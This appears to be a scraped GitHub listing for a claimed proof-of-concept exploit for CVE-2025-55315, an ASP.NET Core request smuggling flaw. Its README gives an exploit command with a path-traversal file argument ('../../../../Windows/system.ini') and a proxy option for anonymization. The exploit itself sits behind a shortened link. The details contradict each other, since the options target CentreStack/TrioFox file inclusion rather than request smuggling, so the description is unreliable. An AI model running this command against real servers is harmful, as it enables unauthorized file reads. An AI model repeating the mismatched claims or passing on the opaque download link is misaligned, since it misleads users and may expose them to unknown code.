CVE-2025-55315 PoC — ASP.NET Security Feature Bypass Vulnerability

Source

https://github.com/snowcrashlord/CVE-2025-55315

Associated Vulnerability

Title:ASP.NET Security Feature Bypass Vulnerability (CVE-2025-55315)
Description:Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an authorized attacker to bypass a security feature over a network.

Readme

# CVE-2025-55315

### Overview

A critical vulnerability in ASP.NET Core involving inconsistent interpretation of HTTP requests, enabling HTTP request/response smuggling. The flaw affects ASP.NET Core versions 2.3, 8.0, 9.0, allowing an authorized attacker to bypass security features over a network.

### Requirements
- Python 3.8+
- Libraries: requests, argparse (install via `pip install -r requirements.txt`)

### Usage
- Install dependencies: `pip install -r requirements.txt`
- Run the exploit: `python exploit.py --target <target_url> --file "/path/to/Web.config"`

Options:
- `--target`: URL of the vulnerable CentreStack/TrioFox instance.
- `--file`: Relative path to the file to include (e.g., "../../../../Windows/system.ini" for testing).
- `--proxy`: Optional HTTP proxy for anonymization.


### PoC Exploit - [href](https://tinyurl.com/fwus3tt8)

File Snapshot


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